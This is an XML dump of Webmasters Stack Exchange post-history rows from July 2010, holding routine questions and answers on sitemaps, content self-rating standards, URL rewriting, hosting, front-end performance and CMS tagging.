  <row Id="2152" PostHistoryTypeId="3" PostId="1206" RevisionGUID="87dc16c0-d13a-4737-a23d-ada7676a73df" CreationDate="2010-07-18T15:48:00.767" UserId="727" Text="&lt;development&gt;&lt;database&gt;&lt;web-development&gt;&lt;education&gt;" />
  <row Id="2153" PostHistoryTypeId="2" PostId="1207" RevisionGUID="875c08e4-b32d-45d8-a455-414ca66a35fe" CreationDate="2010-07-18T15:58:15.630" UserId="480" Text="Practically any modern CMS offers what you are asking for - [Wordpress][1], [Drupal][2], [Joolma][3], etc.&#xD;&#xA;&#xD;&#xA;The limits for tags on a page are mostly editable - although the question elements needs elaborated for any further help (there are plugins for the three CMS's mentioned above that cover this). If it is a community focused site and you like the stackoverflow way of doing things why not post your suggestion on [Area 51][4]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://www.joomla.org/&#xD;&#xA;  [4]: http://area51.stackexchange.com/" />
  <row Id="2154" PostHistoryTypeId="2" PostId="1208" RevisionGUID="11c792a4-d65b-452f-98d9-083506753e59" CreationDate="2010-07-18T16:16:22.090" UserId="480" Text="What system of self rating should a site now use?&#xD;&#xA;&#xD;&#xA;[SafeSurf][1] seems to be the most natural fit to work with and the PICS system has become a well accepted standard.&#xD;&#xA;&#xD;&#xA;However the new system [POWDER][2] appears to be the new upcoming standard. As the documentation for POWDER does not really explain anything and is about as much use as a chocolate kettle, which way are webmasters meant to go?&#xD;&#xA;&#xD;&#xA;There are many images which do not need moderation (unless selling in China - in which case you remove the image from the website regardless of local-side blocking) but several may be classed as &quot;Not Safe for Work&quot; (i.e. nearly topless women on a photographers site).&#xD;&#xA;&#xD;&#xA;There are other more subtle examples such as pictures on a Security company's website that show a hand coming in through smashed glass, they are not really suitable for young children (sends off the wrong image), let alone adverts that do not apply to teenagers and below that you'd rather they did not access.&#xD;&#xA;&#xD;&#xA;Flagging and self-rating would seem the natural approach, but with two competing standards and no obvious central databases to store your own self-moderation on what are the &quot;best practises&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.safesurf.com/&#xD;&#xA;  [2]: http://www.w3.org/2007/powder/" />
  <row Id="2155" PostHistoryTypeId="1" PostId="1208" RevisionGUID="11c792a4-d65b-452f-98d9-083506753e59" CreationDate="2010-07-18T16:16:22.090" UserId="480" Text="Self-rated Content" />
  <row Id="2156" PostHistoryTypeId="3" PostId="1208" RevisionGUID="11c792a4-d65b-452f-98d9-083506753e59" CreationDate="2010-07-18T16:16:22.090" UserId="480" Text="&lt;best-practice&gt;&lt;moderation&gt;" />
  <row Id="2157" PostHistoryTypeId="5" PostId="1208" RevisionGUID="f907b979-7406-4d76-96c4-2e8ea930edbc" CreationDate="2010-07-18T16:41:06.607" UserId="480" Comment="deleted 4 characters in body" Text="What system of self rating should a site now use?&#xD;&#xA;&#xD;&#xA;[SafeSurf][1] seems to be the most natural fit to work with and the PICS system has become a well accepted standard.&#xD;&#xA;&#xD;&#xA;However the new system [POWDER][2] appears to be the upcoming standard. As the documentation for POWDER does not really explain anything and is about as much use as a chocolate kettle, which way are webmasters meant to go?&#xD;&#xA;&#xD;&#xA;There are many images which do not need moderation (unless selling in China - in which case you remove the image from the website regardless of local-side blocking) but several may be classed as &quot;Not Safe for Work&quot; (i.e. nearly topless women on a photographers site).&#xD;&#xA;&#xD;&#xA;There are other more subtle examples such as pictures on a Security company's website that show a hand coming in through smashed glass, they are not really suitable for young children (sends off the wrong image), let alone adverts that do not apply to teenagers and below that you'd rather they did not access.&#xD;&#xA;&#xD;&#xA;Flagging and self-rating would seem the natural approach, but with two competing standards and no obvious central databases to store your own self-moderation on what are the &quot;best practises&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.safesurf.com/&#xD;&#xA;  [2]: http://www.w3.org/2007/powder/" />
  <row Id="2158" PostHistoryTypeId="2" PostId="1209" RevisionGUID="5a032a1b-b623-4e33-8c12-7a079ae083e8" CreationDate="2010-07-18T16:53:00.883" UserId="233" Text="I think the issue may be due to &quot;trust&quot; - search engines usually treat subdomains differently from the main domain, so if you moved some pages to a different domain or subdomain then essentially you are &quot;starting from scratch&quot;. Whereas if you use subdirectories the domain is already trusted and pages may be indexed more quickly.&#xD;&#xA;&#xD;&#xA;If your traffic is increasing it could be due to any number of things such as more links being picked up, or just a single link from a popular site like digg or stumbleupon.&#xD;&#xA;&#xD;&#xA;One more point of note: PageRank is page-based, not site-based, so if each of the pages had the same number of links in they will have the same PR." />
  <row Id="2159" PostHistoryTypeId="2" PostId="1210" RevisionGUID="8332d47e-0aa7-43f4-ac6e-0a21a5aca653" CreationDate="2010-07-18T17:27:14.133" UserId="432" Text="Apache Bench and Forge are both really decent, free, open-source, etc. I've had good luck running them from both my local machine and from servers, with more speed on servers, obviously. " />
  <row Id="2160" PostHistoryTypeId="2" PostId="1211" RevisionGUID="eb8eca97-bafd-44bd-a411-6acc7ac52ca5" CreationDate="2010-07-18T17:32:33.190" UserId="432" Text="Just do it a step at a time.&#xD;&#xA;&#xD;&#xA; 1. Set up the new server's folders,&#xD;&#xA;    files and permissions.&#xD;&#xA; 2. Set up the new server's database from a dump of the old server's database.&#xD;&#xA; 3. Test using the new server's IP address or a record in your hosts file. This is the time to update any links, etc.&#xD;&#xA; 4. Once everything is good, transfer the DNS to the new server, either by switching the IPs for the A names or by changing the nameservers.&#xD;&#xA;&#xD;&#xA;I just recently moved several domains from one server and one DNS host to another and followed this exact set up with 0 problems." />
  <row Id="2161" PostHistoryTypeId="2" PostId="1212" RevisionGUID="f9ce8bc4-5951-47e9-a101-cc0a6ccb6895" CreationDate="2010-07-18T17:34:37.633" UserId="576" Text="There is a nice [&quot;Note in Reader&quot; bookmarklet trick][1] you can use to create custom RSS feeds&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/create-rss-feed-for-websites/5470/" />
  <row Id="2162" PostHistoryTypeId="2" PostId="1213" RevisionGUID="9b9bfbce-17a0-4d2b-b474-1c241d5290c2" CreationDate="2010-07-18T17:35:33.060" UserId="210" Text="I do submit any new sites I create to search engines, but I don't do it through the &quot;old&quot; method of just submitting a URL. Instead I create an [XML sitemap][1]. I then go each search engine's webmaster management console and submit the site. I also include the path to the sitemap in the robots.txt just to make sure.&#xD;&#xA;&#xD;&#xA;URLs for the 3 major search engines webmaster management console:&#xD;&#xA;&#xD;&#xA; - Google https://www.google.com/webmasters/tools/&#xD;&#xA; - Yahoo http://siteexplorer.search.yahoo.com/&#xD;&#xA; - Bing http://www.bing.com/webmaster/&#xD;&#xA;&#xD;&#xA;Text to put in the robots.txt: `Sitemap: http://www.example.com/sitemap.xml`&#xD;&#xA;&#xD;&#xA;I also often ping the search engines to let them know a new sitemap is available. This site has a little page where you can submit your sitemap to a bunch at once, although it no longer works for Google: http://www.sitemapwriter.com/notify.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/" />
  <row Id="2163" PostHistoryTypeId="2" PostId="1214" RevisionGUID="699f2230-e889-4721-b3af-8ef03964ce2f" CreationDate="2010-07-18T17:35:41.407" UserId="432" Text="More than just minifying the CSS/JS, combine them into one file for each format as much as you can. The fewer downloads, the better. If this is impossible, move them off to other domain names, either hosted on the same server or on a CDN.&#xD;&#xA;&#xD;&#xA;Gzip, as said, is amazingly powerful.&#xD;&#xA;&#xD;&#xA;Move your JS to the bottom of the document and make sure all the CSS is in the `head`. Avoid inline JS and CSS.&#xD;&#xA;&#xD;&#xA;Cache the hell out of everything and set `Expires` headers and ETags." />
  <row Id="2164" PostHistoryTypeId="5" PostId="1213" RevisionGUID="f19ae656-4605-46c7-8a15-86d13bf5cac9" CreationDate="2010-07-18T17:57:41.320" UserId="210" Comment="added 244 characters in body" Text="I do submit any new sites I create to search engines, but I don't do it through the &quot;old&quot; method of just submitting a URL. Instead I create an [XML sitemap][1]. I then go each search engine's webmaster management console and submit the site. I also include the path to the sitemap in the robots.txt just to make sure.&#xD;&#xA;&#xD;&#xA;URLs for the 3 major search engines webmaster management console:&#xD;&#xA;&#xD;&#xA; - Google https://www.google.com/webmasters/tools/&#xD;&#xA; - Yahoo http://siteexplorer.search.yahoo.com/&#xD;&#xA; - Bing http://www.bing.com/webmaster/&#xD;&#xA;&#xD;&#xA;Text to put in the robots.txt: `Sitemap: http://www.example.com/sitemap.xml`&#xD;&#xA;&#xD;&#xA;I also often ping the search engines to let them know a new sitemap is available. This site has a little page where you can submit your sitemap to a bunch at once, although it no longer works for Google: http://www.sitemapwriter.com/notify.php&#xD;&#xA;&#xD;&#xA;Of course, all this said, if there aren't links to your site then all of this is useless. Getting an account on sites like Twitter, Facebook, YouTube can be helpful in getting links to your site, especially if you post useful links/content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/" />
  <row Id="2165" PostHistoryTypeId="5" PostId="1213" RevisionGUID="0967b3a9-b439-4874-88a4-57f93762dc13" CreationDate="2010-07-18T18:30:18.490" UserId="210" Comment="added 85 characters in body; added 81 characters in body" Text="I do submit any new sites I create to search engines, but I don't do it through the &quot;old&quot; method of just submitting a URL (such as [here on Google][1]). Instead I create an [XML sitemap][2] and I then go to each search engine's webmaster management console and submit the site. I also include the path to the sitemap in the robots.txt just to make sure for those that don't have consoles or ones I haven't submitted the site to.&#xD;&#xA;&#xD;&#xA;URLs for the 3 major search engines webmaster management console:&#xD;&#xA;&#xD;&#xA; - Google https://www.google.com/webmasters/tools/&#xD;&#xA; - Yahoo http://siteexplorer.search.yahoo.com/&#xD;&#xA; - Bing http://www.bing.com/webmaster/&#xD;&#xA;&#xD;&#xA;Text to put in the robots.txt: `Sitemap: http://www.example.com/sitemap.xml`&#xD;&#xA;&#xD;&#xA;I also often ping the search engines to let them know a new sitemap is available. This site has a little page where you can submit your sitemap to a bunch at once, although it no longer works for Google: http://www.sitemapwriter.com/notify.php&#xD;&#xA;&#xD;&#xA;Of course, all this said, if there aren't links to your site then all of this is useless. Getting an account on sites like Twitter, Facebook, YouTube can be helpful in getting links to your site, especially if you post useful links/content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [2]: http://www.sitemaps.org/" />
  <row Id="2166" PostHistoryTypeId="2" PostId="1215" RevisionGUID="1f2c6e16-6958-4a6e-b04b-9615aa433486" CreationDate="2010-07-18T19:19:13.523" UserId="316" Text="If you can ignore all the annoying upselling then [Godaddy][1] is a decent provider, their management tools are actually pretty good. Also, the DNS propagates very fast for new domains, or even when changing your name servers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://godaddy.com" />
  <row Id="2167" PostHistoryTypeId="16" PostId="1215" RevisionGUID="1f2c6e16-6958-4a6e-b04b-9615aa433486" CreationDate="2010-07-18T19:19:13.523" UserId="-1" />
  <row Id="2168" PostHistoryTypeId="2" PostId="1216" RevisionGUID="b6be4e65-4ba8-452d-9d7e-c36bdf20a548" CreationDate="2010-07-18T19:20:23.973" UserId="210" Text="I have personally stopped using Google's auto loading because of the additional request and I've found very few other benefits. Instead I just include the JS and files directly. You can find the tags at [this site][1].&#xD;&#xA;&#xD;&#xA;Here is the code I use for jQuery:&#xD;&#xA;&#xD;&#xA;    &lt;link href=&quot;//ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/blitzer/jquery-ui.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;//ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/jquery-ui.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;//ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/i18n/jquery-ui-i18n.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;It's nice of Google to also include the jQuery UI CSS as well as the referenced images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://scriptsrc.net/" />
  <row Id="2169" PostHistoryTypeId="2" PostId="1217" RevisionGUID="05afc9b3-358c-4402-aa86-fd4c6813bb5c" CreationDate="2010-07-18T20:43:52.010" UserId="737" Text="I'm currently using shared hosting.&#xD;&#xA;I want more control over my IIS and also I need to run in full trust.&#xD;&#xA;There are a lot of options out there for Windows VPS hosting.&#xD;&#xA;&#xD;&#xA;Which ones do you recommend is the best?&#xD;&#xA;&#xD;&#xA;Some must haves&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Has to have great support&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Automatic hardware fail overs&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Access through Remote Desktop (you would be amazed some don't offer this)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;No limit on what I can install on it&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;" />
  <row Id="2170" PostHistoryTypeId="1" PostId="1217" RevisionGUID="05afc9b3-358c-4402-aa86-fd4c6813bb5c" CreationDate="2010-07-18T20:43:52.010" UserId="737" Text="Whats is the best Windows VPS hosting?" />
  <row Id="2171" PostHistoryTypeId="3" PostId="1217" RevisionGUID="05afc9b3-358c-4402-aa86-fd4c6813bb5c" CreationDate="2010-07-18T20:43:52.010" UserId="737" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;asp.net-mvc&gt;" />
  <row Id="2172" PostHistoryTypeId="2" PostId="1218" RevisionGUID="3fa21e81-e8a8-4014-bf26-0842ae296dd1" CreationDate="2010-07-18T20:50:59.497" UserId="711" Text="No, URL rewriting has no positive influence on crawling or indexing; oftentimes it can even have a negative effect. For instance, many websites embed all parameters as well as plain text (eg the &quot;title&quot;) in the URL when rewriting them, creating pages with many possible URLs (we often even see session-IDs rewritten in URLs...). &#xD;&#xA;&#xD;&#xA;We did a blog post on this at http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html&#xD;&#xA;&#xD;&#xA;Personally, unless you are absolutely certain that you are able to set it up absolutely correct and that it has a measurable impact on user satisfaction (ignore the search engines for this!), then I would strongly recommend not rewriting URLs at all. We see so many big problems with sites that use URL rewriting that you should really think quite a lot about this before going down that road -- and certainly never do it just for an assumed search engine advantage. " />
  <row Id="2173" PostHistoryTypeId="2" PostId="1219" RevisionGUID="50af99ea-0deb-4b3b-b475-e05643341fe6" CreationDate="2010-07-18T20:56:14.993" UserId="711" Text="Two things to keep in mind:&#xD;&#xA;&#xD;&#xA;1. URL rewriting generally does not have a positive effect on search engines (and frequently a negative one) -- so you should only do it if you know of a measurable positive effect on user satisfaction (and accordingly: make your URLs useful for the users).&#xD;&#xA;&#xD;&#xA;2. If you do decide to do URL rewriting, you *must* have the technical details down perfectly. For instance, you should never have more than one unique URL showing the same content. Make sure you use UTF-8 for the encoding of non-ASCII content, use escaped links within your content, and generally test on various browsers to make sure things work as planed. If any of this is foreign to you, then I would strongly recommend not doing URL rewriting for the moment. &#xD;&#xA;&#xD;&#xA;FWIW Some of the search engine side issues are covered at http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html" />
  <row Id="2174" PostHistoryTypeId="2" PostId="1220" RevisionGUID="559d2eaf-08ad-425c-aa10-40dd354e8abc" CreationDate="2010-07-18T21:25:04.263" UserId="693" Text="I have a website with dynamic content and different kind of pages. I have some pages that rarely change, and I have pages like blogs that change often. The blog pages also have links for sorting, for example sorting on date, asc, desc.&#xD;&#xA;&#xD;&#xA;On some of the pages I also have links to different tabbed content, and links that are just anchor links.&#xD;&#xA;&#xD;&#xA;Now when I use a [xml sitemap generator][1] than all the links are thrown into the site, and I so not think all the links are really relevant.&#xD;&#xA;&#xD;&#xA;The blogposts uptil now are also taken into the sitemap. Is this really necessary? I think the links to the blogposts can be indexed just fine.&#xD;&#xA;&#xD;&#xA;Is the best way to make a sitemap just to manually ass the main menu links to the sitemap, or is indexing everything really recommended.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/" />
  <row Id="2175" PostHistoryTypeId="1" PostId="1220" RevisionGUID="559d2eaf-08ad-425c-aa10-40dd354e8abc" CreationDate="2010-07-18T21:25:04.263" UserId="693" Text="How to create a good sitemap for dynamic website" />
  <row Id="2176" PostHistoryTypeId="3" PostId="1220" RevisionGUID="559d2eaf-08ad-425c-aa10-40dd354e8abc" CreationDate="2010-07-18T21:25:04.263" UserId="693" Text="&lt;seo&gt;&lt;best-practice&gt;&lt;sitemap&gt;" />
  <row Id="2177" PostHistoryTypeId="2" PostId="1221" RevisionGUID="0a8bd2ac-7ba3-4e79-b4cd-3b4838c23960" CreationDate="2010-07-18T21:37:19.013" UserId="233" Text="The best method IMO is to *whitelist* characters rather than trying to look for invalid characters. However, accented characters like é are fairly common (and your URL will be odd without them) so you could convert these first.&#xD;&#xA;&#xD;&#xA;In PHP you can use the `strtr` function, but you should be able to modify this for your needs on asp.net:&#xD;&#xA;&#xD;&#xA;    strtr(&#xD;&#xA;      'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûýýþÿŔŕ',&#xD;&#xA;      'aaaaaaaceeeeiiiidnoooooouuuuybsaaaaaaaceeeeiiiidnoooooouuuyybyrr'&#xD;&#xA;    );&#xD;&#xA;&#xD;&#xA;Now here's your process:&#xD;&#xA;&#xD;&#xA;1. [optional] Convert the string to lowercase (usually recommended for URLs).&#xD;&#xA;2. [optional] Convert the accented characters using the above mapping.&#xD;&#xA;3. Run through your input string character-by-character.&#xD;&#xA;4. It may be faster to do #1 and #2 per-character instead of on the whole string, depending on what built-in functions you have.&#xD;&#xA;5. If the character is in the range *a-z* or *0-9*, add it to your new string, otherwise:  &#xD;&#xA;a) If you already have a hyphen on the end of your new string, ignore it  &#xD;&#xA;b) If not, add a hyphen to the end of the string.&#xD;&#xA;6. When you get to the end, remove and leading or trailing hyphens and you're done!&#xD;&#xA;" />
  <row Id="2178" PostHistoryTypeId="2" PostId="1222" RevisionGUID="9ce312df-f3d1-4aa6-a385-9226946e17b0" CreationDate="2010-07-18T21:48:55.710" UserId="233" Text="If you are using any decent blogging software then you should have an RSS feed, which is usable as a Sitemap and probably a better option. You can definitely submit RSS feeds as sitemaps to Google and Yahoo webmaster tools. Depending on your other content you may need a sitemap as well.&#xD;&#xA;&#xD;&#xA;&gt; The blog pages also have links for sorting, for example sorting on date, asc, desc.&#xD;&#xA;&#xD;&#xA;I would try to avoid the pages with different sort orders - they are essentially the same content with different views. Just make sure you have the main pages indexed - e.g. the list of blog posts, paginated.&#xD;&#xA;&#xD;&#xA;&gt; The blogposts uptil now are also taken into the sitemap. Is this really necessary? I think the links to the blogposts can be indexed just fine.&#xD;&#xA;&#xD;&#xA;You are right, search engines should be able to find your content just fine. XML sitemaps aren't always necessary. But it's a good way to get your content indexed a little more quickly, particularly if some pages are nested deep within your site, or it's a particularly new site." />
  <row Id="2179" PostHistoryTypeId="2" PostId="1223" RevisionGUID="254f5a8d-2bf3-4511-a58e-c3e806022c92" CreationDate="2010-07-18T22:27:31.270" UserId="233" Text="It would not be too difficult to write a PHP/Python script that auto-generated the RSS feed. The process would be:&#xD;&#xA;&#xD;&#xA;* Search the filesystem for the newest files (e.g. take every file with `.html` extension, store in an array with the date, then order them by date).&#xD;&#xA;* Use an HTML parser to extract the information from those files (e.g. title tag, the first paragraph in a particular element).&#xD;&#xA;* Write the data to the RSS XML format.&#xD;&#xA;&#xD;&#xA;You should be able to find a few scripts (like the HTML parser) to help you on your way. Otherwise, ask [Stack Overflow][1] for help :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com" />
  <row Id="2180" PostHistoryTypeId="2" PostId="1224" RevisionGUID="81801d3d-0ef8-4bbd-8f49-245a535a714f" CreationDate="2010-07-18T23:04:56.447" UserId="748" Text="My honest advice would be to not do it yourself if you want reliable delivery without being flagged as a spammer. Use Campaign Monitor or aWeber or similar who are trusted senders of bulk email.&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;Cheers, Mark" />
  <row Id="2181" PostHistoryTypeId="2" PostId="1225" RevisionGUID="a5eb5e71-e849-4d80-8e59-09819229c25d" CreationDate="2010-07-18T23:06:06.723" UserId="747" Text="I don't have enough rep to upvote or comment yet, so this is going in a new answer.  As [zhaph pointed out][1], many merchant companies offer a recurring payment system where they handle the storage for you.  &#xD;&#xA;&#xD;&#xA;We've been using Authorize.net for any customers unwilling to use PayPal and it's been working fairly well (our only big complaint is that the API key's reset every 6 months and they don't bother to notify you when it happens, so the page just stops working).  Their API is XML based and you can find wrappers for it in just about every language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1017/storing-credit-card-details/1048#1048&#xD;&#xA;" />
  <row Id="2182" PostHistoryTypeId="2" PostId="1226" RevisionGUID="a428d125-e2bc-4575-a9f4-f91bdb6d446a" CreationDate="2010-07-18T23:27:51.447" UserId="383" Text="I am working with a website that uses CodeIgnitor, a content management system I hadn't heard of before.  The problem:  Incoming links from AdWords contain a long query string, and if you add a query string to the requested URL, CodeIgnitor thinks that that's part of the page it has to fetch, so it returns a &quot;Page not found&quot; for anyone who comes in from AdWords.&#xD;&#xA;&#xD;&#xA;Another problem:  Google AdWords doesn't allow you to link to a page that redirects (locally or remotely), although someone can enlighten me if this isn't always true.&#xD;&#xA;&#xD;&#xA;So, if anyone has any idea for how to solve this, either by changing AdWords settings, CodeIgnitor settings, or other hacks, it would be appreciated..." />
  <row Id="2183" PostHistoryTypeId="1" PostId="1226" RevisionGUID="a428d125-e2bc-4575-a9f4-f91bdb6d446a" CreationDate="2010-07-18T23:27:51.447" UserId="383" Text="Is there any way to use AdWords with CodeIgnitor (or similar)?" />
  <row Id="2184" PostHistoryTypeId="3" PostId="1226" RevisionGUID="a428d125-e2bc-4575-a9f4-f91bdb6d446a" CreationDate="2010-07-18T23:27:51.447" UserId="383" Text="&lt;advertising&gt;" />
  <row Id="2185" PostHistoryTypeId="2" PostId="1227" RevisionGUID="35d9e40e-22b4-4823-b912-c406f687c61c" CreationDate="2010-07-19T00:51:38.453" Text="I use TinyVPS (http://tinyvps.ca/), which is about $5/mo (and you can find promo codes on Google).&#xD;&#xA;&#xD;&#xA;If you want to set up your own webserver (ie: have absolute control) then this works quite well! :-)" />
  <row Id="2186" PostHistoryTypeId="2" PostId="1228" RevisionGUID="e6e45c2a-be74-4f9d-a99a-8520a5d6fa4d" CreationDate="2010-07-19T01:06:02.900" UserId="149" Text="I use [RPX][1], and have never had a problem with it. Has a good [WordPress plugin][2] as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://rpxnow.com/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/rpx/" />
  <row Id="2187" PostHistoryTypeId="2" PostId="1229" RevisionGUID="f628ef21-437c-4a5c-9351-fe9d25b26af7" CreationDate="2010-07-19T01:25:27.317" UserId="149" Text="I could be wrong, but I don't think that's part of standard WP procedure. Only the user resetting the password usually gets an email about the reset.&#xD;&#xA;&#xD;&#xA;I've never received an email for any of my users resetting their passwords.&#xD;&#xA;&#xD;&#xA;Are you sure it's not people trying to reset the admin password, and that's why you're getting emails?" />
  <row Id="2188" PostHistoryTypeId="2" PostId="1230" RevisionGUID="b725ff82-0ede-4248-876a-719c188e077b" CreationDate="2010-07-19T03:03:57.483" UserId="757" Text="I have recently setup my blog and I look forward to keep posting once a week on my blog. I wish to increase traffic to my blog and was searching for good search-engine tools. I came across Traffic-Seeker sometimes back and now I plan to buy it. Before I buy it, I need reviews from those who have already used it. Please guide me if there's any alternate to Traffic-seeker. I'm looking for a good tool to increase traffic on my blog. &#xD;&#xA;&#xD;&#xA;- Is Traffic-seeker really good and it works ?&#xD;&#xA;- What other tools or soft-wares are available that can drive good traffic ?" />
  <row Id="2189" PostHistoryTypeId="1" PostId="1230" RevisionGUID="b725ff82-0ede-4248-876a-719c188e077b" CreationDate="2010-07-19T03:03:57.483" UserId="757" Text="How good is Traffic-Seeker ?" />
  <row Id="2190" PostHistoryTypeId="3" PostId="1230" RevisionGUID="b725ff82-0ede-4248-876a-719c188e077b" CreationDate="2010-07-19T03:03:57.483" UserId="757" Text="&lt;seo&gt;&lt;traffic&gt;&lt;blog&gt;" />
  <row Id="2191" PostHistoryTypeId="2" PostId="1231" RevisionGUID="de78c383-06f4-4144-9d9d-e55204809bfe" CreationDate="2010-07-19T05:45:29.320" UserId="156" Text="[RFC 952][1] says that hostnames should **not** have leading digits, but this is a document from 1985 and was superseded by [RFC 1123][2] (section 2.1). The earlier rule against leading digits may be part of the reason some people prefer not to use them.&#xD;&#xA;&#xD;&#xA;To address your questions though:&#xD;&#xA;&#xD;&#xA; - I doubt search engines would treat it differently, except as a bug condition&#xD;&#xA; - Not many people would choose to avoid a site based purely on the initial character&#xD;&#xA; - Any hesitation I've had has been as a result of the fact that an initial digit could also be starting an IP address (not anything to do with variables)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc952&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc1123" />
  <row Id="2192" PostHistoryTypeId="2" PostId="1232" RevisionGUID="6bea2f17-0abf-4595-9a83-c4a9103634e4" CreationDate="2010-07-19T06:00:36.700" UserId="576" Text="[Netcraft][1] tracks market share of web servers &amp; according to them, IIS stands second after Apache with a 26.03% share (as of July 2010). This is based on a survey of 205+ million sites&#xD;&#xA;&#xD;&#xA;[This link][2] has reasons why you should check out IIS7 if you use Apache today&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://netcraft.com/&#xD;&#xA;  [2]: http://blogs.iis.net/bills/archive/2007/05/07/iis-vs-apache.aspx" />
  <row Id="2193" PostHistoryTypeId="2" PostId="1233" RevisionGUID="43c031d7-fc87-4d94-875e-172d443ef284" CreationDate="2010-07-19T06:15:33.973" UserId="576" Text="IIS 7 offers Smooth Streaming which is Microsoft’s implementation of HTTP-based **adaptive streaming**. For more details, check this [Smooth Streaming FAQ][1] &amp; a [step-by-step implementation guide][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alexzambelli.com/blog/smooth-streaming-faq/&#xD;&#xA;  [2]: http://www.hanselman.com/blog/InstallingAndSettingUpAndEncodingForIIS7SmoothStreamingAndSilverlight.aspx" />
  <row Id="2194" PostHistoryTypeId="2" PostId="1234" RevisionGUID="efd28cd0-2f18-4b90-a1b1-b5bee4b03c20" CreationDate="2010-07-19T06:26:19.053" UserId="55" Text="I would suggest that, unless you have only a small number of possible tags (i.e. ~20) that you don't try to do this by hand. You could conceivably do it on a small static shopping cart, for instance, for people to have something a little more intuitive to use to see similar products. Maintaining that by hand would not be too difficult.&#xD;&#xA;&#xD;&#xA;There is no way, however, that I would want to manually update static 'tag' pages every time something new was introduced.&#xD;&#xA;&#xD;&#xA;If you didn't want to involve a database, you could conceivably use `rel` descriptors strategically so that something could read all of your pages and auto generate the 'tag' pages .. but then we're still getting into programming.&#xD;&#xA;&#xD;&#xA;Basically, any way you look at it, you're looking at some programming (or using a CMS of some sort that features tagging). You'd probably need to make further modifications to get the color / limiting features that you want.&#xD;&#xA;&#xD;&#xA;It is conceivable that someone has come up with a way to offer customized tagging as a service (similar to those who offer hosted comment areas), but I've yet to see one." />
  <row Id="2195" PostHistoryTypeId="5" PostId="553" RevisionGUID="e27906fd-850b-41f4-a64d-d5df6e7334fd" CreationDate="2010-07-19T06:33:39.007" UserId="180" Comment="Changed to &quot;trunk&quot; link for ICRA example" Text="There are several ways of tagging your site.&#xD;&#xA;&#xD;&#xA;One option is to add a [SafeSurf][0] META tag to your header, with a form available at that site to generate the appropriate tag.&#xD;&#xA;&#xD;&#xA;Another option is to [generate an ICRA Meta tag and RDF][3] file to describe your site.&#xD;&#xA;&#xD;&#xA;However, it looks like some consensus is building on a standardized way of tagging your site. Initially, the [PICS label][1] was promoted as a rating mechanism, but that has since been superseded by [POWDER][2], which has been granted &quot;Recommendation&quot; status by the W3C.  &#xD;&#xA;&#xD;&#xA;POWDER includes instructions on how you can use the [ICRA ratings system with the POWDER format][4]. This may be a more future-proof and less proprietary way of tagging your site.&#xD;&#xA;&#xD;&#xA;  [0]: http://www.safesurf.com/classify/&#xD;&#xA;  [1]: http://www.w3.org/PICS/#Specs&#xD;&#xA;  [2]: http://www.w3.org/2007/powder/&#xD;&#xA;  [3]: http://www.icra.org/label/generator/&#xD;&#xA;  [4]: http://www.w3.org/TR/powder-primer/#ICRA1&#xD;&#xA;" />
